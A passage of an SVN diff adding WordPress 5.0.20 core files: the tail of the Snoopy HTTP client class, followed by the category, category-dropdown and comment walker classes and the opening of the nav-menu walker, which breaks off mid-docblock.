+			if ($content_type == "multipart/form-data")
+				$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
+			else
+				$headers[] = "Content-type: $content_type";
+		}
+		if(!empty($body))
+			$headers[] = "Content-length: ".strlen($body);
+		if(!empty($this->user) || !empty($this->pass))
+			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
+
+		$headerfile = tempnam( $this->temp_dir, "sno" );
+		$cmdline_params = '-k -D ' . escapeshellarg( $headerfile );
+
+		foreach ( $headers as $header ) {
+			$cmdline_params .= ' -H ' . escapeshellarg( $header );
+		}
+
+		if ( ! empty( $body ) ) {
+			$cmdline_params .= ' -d ' . escapeshellarg( $body );
+		}
+
+		if ( $this->read_timeout > 0 ) {
+			$cmdline_params .= ' -m ' . escapeshellarg( $this->read_timeout );
+		}
+
+
+		exec( $this->curl_path . ' ' . $cmdline_params . ' ' . escapeshellarg( $URI ), $results, $return );
+
+		if($return)
+		{
+			$this->error = "Error: cURL could not retrieve the document, error $return.";
+			return false;
+		}
+
+
+		$results = implode("\r\n",$results);
+
+		$result_headers = file("$headerfile");
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
+		{
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
+				$this->response_code = $result_headers[$currentHeader];
+
+			$this->headers[] = $result_headers[$currentHeader];
+		}
+
+		// check if there is a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		unlink("$headerfile");
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	setcookies()
+	Purpose:	set cookies for a redirection
+\*======================================================================*/
+
+	function setcookies()
+	{
+		for($x=0; $x<count($this->headers); $x++)
+		{
+		if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
+			$this->cookies[$match[1]] = urldecode($match[2]);
+		}
+	}
+
+
+/*======================================================================*\
+	Function:	_check_timeout
+	Purpose:	checks whether timeout has occurred
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _check_timeout($fp)
+	{
+		if ($this->read_timeout > 0) {
+			$fp_status = socket_get_status($fp);
+			if ($fp_status["timed_out"]) {
+				$this->timed_out = true;
+				return true;
+			}
+		}
+		return false;
+	}
+
+/*======================================================================*\
+	Function:	_connect
+	Purpose:	make a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _connect(&$fp)
+	{
+		if(!empty($this->proxy_host) && !empty($this->proxy_port))
+			{
+				$this->_isproxy = true;
+
+				$host = $this->proxy_host;
+				$port = $this->proxy_port;
+			}
+		else
+		{
+			$host = $this->host;
+			$port = $this->port;
+		}
+
+		$this->status = 0;
+
+		if($fp = fsockopen(
+					$host,
+					$port,
+					$errno,
+					$errstr,
+					$this->_fp_timeout
+					))
+		{
+			// socket connection succeeded
+
+			return true;
+		}
+		else
+		{
+			// socket connection failed
+			$this->status = $errno;
+			switch($errno)
+			{
+				case -3:
+					$this->error="socket creation failed (-3)";
+				case -4:
+					$this->error="dns lookup failure (-4)";
+				case -5:
+					$this->error="connection refused or timed out (-5)";
+				default:
+					$this->error="connection failed (".$errno.")";
+			}
+			return false;
+		}
+	}
+/*======================================================================*\
+	Function:	_disconnect
+	Purpose:	disconnect a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _disconnect($fp)
+	{
+		return(fclose($fp));
+	}
+
+
+/*======================================================================*\
+	Function:	_prepare_post_body
+	Purpose:	Prepare post body according to encoding type
+	Input:		$formvars  - form variables
+				$formfiles - form upload files
+	Output:		post body
+\*======================================================================*/
+
+	function _prepare_post_body($formvars, $formfiles)
+	{
+		settype($formvars, "array");
+		settype($formfiles, "array");
+		$postdata = '';
+
+		if (count($formvars) == 0 && count($formfiles) == 0)
+			return;
+
+		switch ($this->_submit_type) {
+			case "application/x-www-form-urlencoded":
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
+						}
+					} else
+						$postdata .= urlencode($key)."=".urlencode($val)."&";
+				}
+				break;
+
+			case "multipart/form-data":
+				$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));
+
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= "--".$this->_mime_boundary."\r\n";
+							$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
+							$postdata .= "$cur_val\r\n";
+						}
+					} else {
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
+						$postdata .= "$val\r\n";
+					}
+				}
+
+				reset($formfiles);
+				while (list($field_name, $file_names) = each($formfiles)) {
+					settype($file_names, "array");
+					while (list(, $file_name) = each($file_names)) {
+						if (!is_readable($file_name)) continue;
+
+						$fp = fopen($file_name, "r");
+						$file_content = fread($fp, filesize($file_name));
+						fclose($fp);
+						$base_name = basename($file_name);
+
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
+						$postdata .= "$file_content\r\n";
+					}
+				}
+				$postdata .= "--".$this->_mime_boundary."--\r\n";
+				break;
+		}
+
+		return $postdata;
+	}
+}
+endif;
+?>
Index: /tags/5.0.20/src/wp-includes/class-walker-category-dropdown.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-category-dropdown.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-category-dropdown.php	(revision 56912)
@@ -0,0 +1,77 @@
+<?php
+/**
+ * Taxonomy API: Walker_CategoryDropdown class
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to create an HTML dropdown list of Categories.
+ *
+ * @since 2.1.0
+ *
+ * @see Walker
+ */
+class Walker_CategoryDropdown extends Walker {
+
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = 'category';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 */
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * Starts the element output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @param string $output   Used to append additional content (passed by reference).
+	 * @param object $category Category data object.
+	 * @param int    $depth    Depth of category. Used for padding.
+	 * @param array  $args     Uses 'selected', 'show_count', and 'value_field' keys, if they exist.
+	 *                         See wp_dropdown_categories().
+	 * @param int    $id       Optional. ID of the current category. Default 0 (unused).
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		/** This filter is documented in wp-includes/category-template.php */
+		$cat_name = apply_filters( 'list_cats', $category->name, $category );
+
+		if ( isset( $args['value_field'] ) && isset( $category->{$args['value_field']} ) ) {
+			$value_field = $args['value_field'];
+		} else {
+			$value_field = 'term_id';
+		}
+
+		$output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $category->{$value_field} ) . "\"";
+
+		// Type-juggling causes false matches, so we force everything to a string.
+		if ( (string) $category->{$value_field} === (string) $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+		$output .= $pad.$cat_name;
+		if ( $args['show_count'] )
+			$output .= '&nbsp;&nbsp;('. number_format_i18n( $category->count ) .')';
+		$output .= "</option>\n";
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-walker-category.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-category.php	(revision 56912)
@@ -0,0 +1,229 @@
+<?php
+/**
+ * Taxonomy API: Walker_Category class
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to create an HTML list of categories.
+ *
+ * @since 2.1.0
+ *
+ * @see Walker
+ */
+class Walker_Category extends Walker {
+
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = 'category';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 * @todo Decouple this
+	 */
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @param string $output Used to append additional content. Passed by reference.
+	 * @param int    $depth  Optional. Depth of category. Used for tab indentation. Default 0.
+	 * @param array  $args   Optional. An array of arguments. Will only append content if style argument
+	 *                       value is 'list'. See wp_list_categories(). Default empty array.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @param string $output Used to append additional content. Passed by reference.
+	 * @param int    $depth  Optional. Depth of category. Used for tab indentation. Default 0.
+	 * @param array  $args   Optional. An array of arguments. Will only append content if style argument
+	 *                       value is 'list'. See wp_list_categories(). Default empty array.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * Starts the element output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @param string $output   Used to append additional content (passed by reference).
+	 * @param object $category Category data object.
+	 * @param int    $depth    Optional. Depth of category in reference to parents. Default 0.
+	 * @param array  $args     Optional. An array of arguments. See wp_list_categories(). Default empty array.
+	 * @param int    $id       Optional. ID of the current category. Default 0.
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		$cat_name = apply_filters(
+			'list_cats',
+			esc_attr( $category->name ),
+			$category
+		);
+
+		// Don't generate an element if the category name is empty.
+		if ( '' === $cat_name ) {
+			return;
+		}
+
+		$link = '<a href="' . esc_url( get_term_link( $category ) ) . '" ';
+		if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) {
+			/**
+			 * Filters the category description for display.
+			 *
+			 * @since 1.2.0
+			 *
+			 * @param string $description Category description.
+			 * @param object $category    Category object.
+			 */
+			$link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"';
+		}
+
+		$link .= '>';
+		$link .= $cat_name . '</a>';
+
+		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
+			$link .= ' ';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= '(';
+			}
+
+			$link .= '<a href="' . esc_url( get_term_feed_link( $category->term_id, $category->taxonomy, $args['feed_type'] ) ) . '"';
+
+			if ( empty( $args['feed'] ) ) {
+				$alt = ' alt="' . sprintf(__( 'Feed for all posts filed under %s' ), $cat_name ) . '"';
+			} else {
+				$alt = ' alt="' . $args['feed'] . '"';
+				$name = $args['feed'];
+				$link .= empty( $args['title'] ) ? '' : $args['title'];
+			}
+
+			$link .= '>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= $name;
+			} else {
+				$link .= "<img src='" . $args['feed_image'] . "'$alt" . ' />';
+			}
+			$link .= '</a>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= ')';
+			}
+		}
+
+		if ( ! empty( $args['show_count'] ) ) {
+			$link .= ' (' . number_format_i18n( $category->count ) . ')';
+		}
+		if ( 'list' == $args['style'] ) {
+			$output .= "\t<li";
+			$css_classes = array(
+				'cat-item',
+				'cat-item-' . $category->term_id,
+			);
+
+			if ( ! empty( $args['current_category'] ) ) {
+				// 'current_category' can be an array, so we use `get_terms()`.
+				$_current_terms = get_terms( $category->taxonomy, array(
+					'include' => $args['current_category'],
+					'hide_empty' => false,
+				) );
+
+				foreach ( $_current_terms as $_current_term ) {
+					if ( $category->term_id == $_current_term->term_id ) {
+						$css_classes[] = 'current-cat';
+					} elseif ( $category->term_id == $_current_term->parent ) {
+						$css_classes[] = 'current-cat-parent';
+					}
+					while ( $_current_term->parent ) {
+						if ( $category->term_id == $_current_term->parent ) {
+							$css_classes[] =  'current-cat-ancestor';
+							break;
+						}
+						$_current_term = get_term( $_current_term->parent, $category->taxonomy );
+					}
+				}
+			}
+
+			/**
+			 * Filters the list of CSS classes to include with each category in the list.
+			 *
+			 * @since 4.2.0
+			 *
+			 * @see wp_list_categories()
+			 *
+			 * @param array  $css_classes An array of CSS classes to be applied to each list item.
+			 * @param object $category    Category data object.
+			 * @param int    $depth       Depth of page, used for padding.
+			 * @param array  $args        An array of wp_list_categories() arguments.
+			 */
+			$css_classes = implode( ' ', apply_filters( 'category_css_class', $css_classes, $category, $depth, $args ) );
+
+			$output .=  ' class="' . $css_classes . '"';
+			$output .= ">$link\n";
+		} elseif ( isset( $args['separator'] ) ) {
+			$output .= "\t$link" . $args['separator'] . "\n";
+		} else {
+			$output .= "\t$link<br />\n";
+		}
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param object $page   Not used.
+	 * @param int    $depth  Optional. Depth of category. Not used.
+	 * @param array  $args   Optional. An array of arguments. Only uses 'list' for whether should append
+	 *                       to output. See wp_list_categories(). Default empty array.
+	 */
+	public function end_el( &$output, $page, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$output .= "</li>\n";
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-walker-comment.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-comment.php	(revision 56912)
@@ -0,0 +1,364 @@
+<?php
+/**
+ * Comment API: Walker_Comment class
+ *
+ * @package WordPress
+ * @subpackage Comments
+ * @since 4.4.0
+ */
+
+/**
+ * Core walker class used to create an HTML list of comments.
+ *
+ * @since 2.7.0
+ *
+ * @see Walker
+ */
+class Walker_Comment extends Walker {
+
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.7.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = 'comment';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 2.7.0
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 * @todo Decouple this
+	 */
+	public $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID');
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::start_lvl()
+	 * @global int $comment_depth
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Optional. Depth of the current comment. Default 0.
+	 * @param array  $args   Optional. Uses 'style' argument for type of HTML list. Default empty array.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				$output .= '<ol class="children">' . "\n";
+				break;
+			case 'ul':
+			default:
+				$output .= '<ul class="children">' . "\n";
+				break;
+		}
+	}
+
+	/**
+	 * Ends the list of items after the elements are added.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::end_lvl()
+	 * @global int $comment_depth
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Optional. Depth of the current comment. Default 0.
+	 * @param array  $args   Optional. Will only append content if style argument value is 'ol' or 'ul'.
+	 *                       Default empty array.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				$output .= "</ol><!-- .children -->\n";
+				break;
+			case 'ul':
+			default:
+				$output .= "</ul><!-- .children -->\n";
+				break;
+		}
+	}
+
+	/**
+	 * Traverses elements to create list from elements.
+	 *
+	 * This function is designed to enhance Walker::display_element() to
+	 * display children of higher nesting levels than selected inline on
+	 * the highest depth level displayed. This prevents them being orphaned
+	 * at the end of the comment list.
+	 *
+	 * Example: max_depth = 2, with 5 levels of nested content.
+	 *     1
+	 *      1.1
+	 *        1.1.1
+	 *        1.1.1.1
+	 *        1.1.1.1.1
+	 *        1.1.2
+	 *        1.1.2.1
+	 *     2
+	 *      2.2
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::display_element()
+	 * @see wp_list_comments()
+	 *
+	 * @param WP_Comment $element           Comment data object.
+	 * @param array      $children_elements List of elements to continue traversing. Passed by reference.
+	 * @param int        $max_depth         Max depth to traverse.
+	 * @param int        $depth             Depth of the current element.
+	 * @param array      $args              An array of arguments.
+	 * @param string     $output            Used to append additional content. Passed by reference.
+	 */
+	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
+		if ( !$element )
+			return;
+
+		$id_field = $this->db_fields['id'];
+		$id = $element->$id_field;
+
+		parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );
+
+		/*
+		 * If at the max depth, and the current element still has children, loop over those
+		 * and display them at this level. This is to prevent them being orphaned to the end
+		 * of the list.
+		 */
+		if ( $max_depth <= $depth + 1 && isset( $children_elements[$id]) ) {
+			foreach ( $children_elements[ $id ] as $child )
+				$this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output );
+
+			unset( $children_elements[ $id ] );
+		}
+
+	}
+
+	/**
+	 * Starts the element output.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::start_el()
+	 * @see wp_list_comments()
+	 * @global int        $comment_depth
+	 * @global WP_Comment $comment
+	 *
+	 * @param string     $output  Used to append additional content. Passed by reference.
+	 * @param WP_Comment $comment Comment data object.
+	 * @param int        $depth   Optional. Depth of the current comment in reference to parents. Default 0.
+	 * @param array      $args    Optional. An array of arguments. Default empty array.
+	 * @param int        $id      Optional. ID of the current comment. Default 0 (unused).
+	 */
+	public function start_el( &$output, $comment, $depth = 0, $args = array(), $id = 0 ) {
+		$depth++;
+		$GLOBALS['comment_depth'] = $depth;
+		$GLOBALS['comment'] = $comment;
+
+		if ( !empty( $args['callback'] ) ) {
+			ob_start();
+			call_user_func( $args['callback'], $comment, $args, $depth );
+			$output .= ob_get_clean();
+			return;
+		}
+
+		if ( ( 'pingback' == $comment->comment_type || 'trackback' == $comment->comment_type ) && $args['short_ping'] ) {
+			ob_start();
+			$this->ping( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		} elseif ( 'html5' === $args['format'] ) {
+			ob_start();
+			$this->html5_comment( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		} else {
+			ob_start();
+			$this->comment( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		}
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::end_el()
+	 * @see wp_list_comments()
+	 *
+	 * @param string     $output  Used to append additional content. Passed by reference.
+	 * @param WP_Comment $comment The current comment object. Default current comment.
+	 * @param int        $depth   Optional. Depth of the current comment. Default 0.
+	 * @param array      $args    Optional. An array of arguments. Default empty array.
+	 */
+	public function end_el( &$output, $comment, $depth = 0, $args = array() ) {
+		if ( !empty( $args['end-callback'] ) ) {
+			ob_start();
+			call_user_func( $args['end-callback'], $comment, $args, $depth );
+			$output .= ob_get_clean();
+			return;
+		}
+		if ( 'div' == $args['style'] )
+			$output .= "</div><!-- #comment-## -->\n";
+		else
+			$output .= "</li><!-- #comment-## -->\n";
+	}
+
+	/**
+	 * Outputs a pingback comment.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param WP_Comment $comment The comment object.
+	 * @param int        $depth   Depth of the current comment.
+	 * @param array      $args    An array of arguments.
+	 */
+	protected function ping( $comment, $depth, $args ) {
+		$tag = ( 'div' == $args['style'] ) ? 'div' : 'li';
+?>
+		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( '', $comment ); ?>>
+			<div class="comment-body">
+				<?php _e( 'Pingback:' ); ?> <?php comment_author_link( $comment ); ?> <?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
+			</div>
+<?php
+	}
+
+	/**
+	 * Outputs a single comment.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param WP_Comment $comment Comment to display.
+	 * @param int        $depth   Depth of the current comment.
+	 * @param array      $args    An array of arguments.
+	 */
+	protected function comment( $comment, $depth, $args ) {
+		if ( 'div' == $args['style'] ) {
+			$tag = 'div';
+			$add_below = 'comment';
+		} else {
+			$tag = 'li';
+			$add_below = 'div-comment';
+		}
+?>
+		<<?php echo $tag; ?> <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?> id="comment-<?php comment_ID(); ?>">
+		<?php if ( 'div' != $args['style'] ) : ?>
+		<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">
+		<?php endif; ?>
+		<div class="comment-author vcard">
+			<?php if ( 0 != $args['avatar_size'] ) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+			<?php
+				/* translators: %s: comment author link */
+				printf( __( '%s <span class="says">says:</span>' ),
+					sprintf( '<cite class="fn">%s</cite>', get_comment_author_link( $comment ) )
+				);
+			?>
+		</div>
+		<?php if ( '0' == $comment->comment_approved ) : ?>
+		<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ) ?></em>
+		<br />
+		<?php endif; ?>
+
+		<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment, $args ) ); ?>">
+			<?php
+				/* translators: 1: comment date, 2: comment time */
+				printf( __( '%1$s at %2$s' ), get_comment_date( '', $comment ),  get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)' ), '&nbsp;&nbsp;', '' );
+			?>
+		</div>
+
+		<?php comment_text( $comment, array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+
+		<?php
+		comment_reply_link( array_merge( $args, array(
+			'add_below' => $add_below,
+			'depth'     => $depth,
+			'max_depth' => $args['max_depth'],
+			'before'    => '<div class="reply">',
+			'after'     => '</div>'
+		) ) );
+		?>
+
+		<?php if ( 'div' != $args['style'] ) : ?>
+		</div>
+		<?php endif; ?>
+<?php
+	}
+
+	/**
+	 * Outputs a comment in the HTML5 format.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param WP_Comment $comment Comment to display.
+	 * @param int        $depth   Depth of the current comment.
+	 * @param array      $args    An array of arguments.
+	 */
+	protected function html5_comment( $comment, $depth, $args ) {
+		$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';
+?>
+		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>>
+			<article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
+				<footer class="comment-meta">
+					<div class="comment-author vcard">
+						<?php if ( 0 != $args['avatar_size'] ) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+						<?php
+							/* translators: %s: comment author link */
+							printf( __( '%s <span class="says">says:</span>' ),
+								sprintf( '<b class="fn">%s</b>', get_comment_author_link( $comment ) )
+							);
+						?>
+					</div><!-- .comment-author -->
+
+					<div class="comment-metadata">
+						<a href="<?php echo esc_url( get_comment_link( $comment, $args ) ); ?>">
+							<time datetime="<?php comment_time( 'c' ); ?>">
+								<?php
+									/* translators: 1: comment date, 2: comment time */
+									printf( __( '%1$s at %2$s' ), get_comment_date( '', $comment ), get_comment_time() );
+								?>
+							</time>
+						</a>
+						<?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .comment-metadata -->
+
+					<?php if ( '0' == $comment->comment_approved ) : ?>
+					<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ); ?></p>
+					<?php endif; ?>
+				</footer><!-- .comment-meta -->
+
+				<div class="comment-content">
+					<?php comment_text(); ?>
+				</div><!-- .comment-content -->
+
+				<?php
+				comment_reply_link( array_merge( $args, array(
+					'add_below' => 'div-comment',
+					'depth'     => $depth,
+					'max_depth' => $args['max_depth'],
+					'before'    => '<div class="reply">',
+					'after'     => '</div>'
+				) ) );
+				?>
+			</article><!-- .comment-body -->
+<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-walker-nav-menu.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-nav-menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-nav-menu.php	(revision 56912)
@@ -0,0 +1,264 @@
+<?php
+/**
+ * Nav Menu API: Walker_Nav_Menu class
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used to implement an HTML list of nav menu items.
+ *
+ * @since 3.0.0
+ *
+ * @see Walker
+ */
+class Walker_Nav_Menu extends Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = array( 'post_type', 'taxonomy', 'custom' );
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 3.0.0
+	 * @todo Decouple this.
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 */
+	public $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id' );
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @param string   $output Used to append additional content (passed by reference).
+	 * @param int      $depth  Depth of menu item. Used for padding.
+	 * @param stdClass $args   An object of wp_nav_menu() arguments.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
+			$t = '';
+			$n = '';
+		} else {
+			$t = "\t";
+			$n = "\n";
+		}
+		$indent = str_repeat( $t, $depth );
+
+		// Default class.
+		$classes = array( 'sub-menu' );
+
+		/**
+		 * Filters the CSS class(es) applied to a menu list element.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param array    $classes The CSS classes that are applied to the menu `<ul>` element.
+		 * @param stdClass $args    An object of `wp_nav_menu()` arguments.
+		 * @param int      $depth   Depth of menu item. Used for padding.
+		 */
+		$class_names = join( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) );
+		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';
+
+		$output .= "{$n}{$indent}<ul$class_names>{$n}";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @param string   $output Used to append additional content (passed by reference).
+	 * @param int      $depth  Depth of menu item. Used for padding.
+	 * @param stdClass $args   An object of wp_nav_menu() arguments.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
+			$t = '';
+			$n = '';
+		} else {
+			$t = "\t";
+			$n = "\n";
+		}
+		$indent = str_repeat( $t, $depth );
+		$output .= "$indent</ul>{$n}";
+	}
+
+	/**
+	 * Starts the element output.
+	 *
+	 * @since 3.0.0
+	 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added.
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @param string   $output Used to append additional content (passed by reference).
+	 * @param WP_Post  $item   Menu item data object.
+	 * @param int      $depth  Depth of menu item. Used for padding.
+	 * @param stdClass $args   An object of wp_nav_menu() arguments.
